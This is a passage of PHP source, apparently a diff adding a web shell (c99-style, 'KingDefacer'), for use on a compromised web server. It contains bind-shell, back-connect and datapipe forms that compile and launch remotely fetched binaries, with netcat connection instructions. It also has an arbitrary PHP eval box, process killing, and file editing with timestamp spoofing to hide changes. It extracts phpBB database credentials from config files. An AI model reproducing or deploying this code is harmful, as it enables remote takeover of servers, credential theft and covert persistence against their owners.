myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {KingDefacerexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by kira. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {KingDefacerexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". 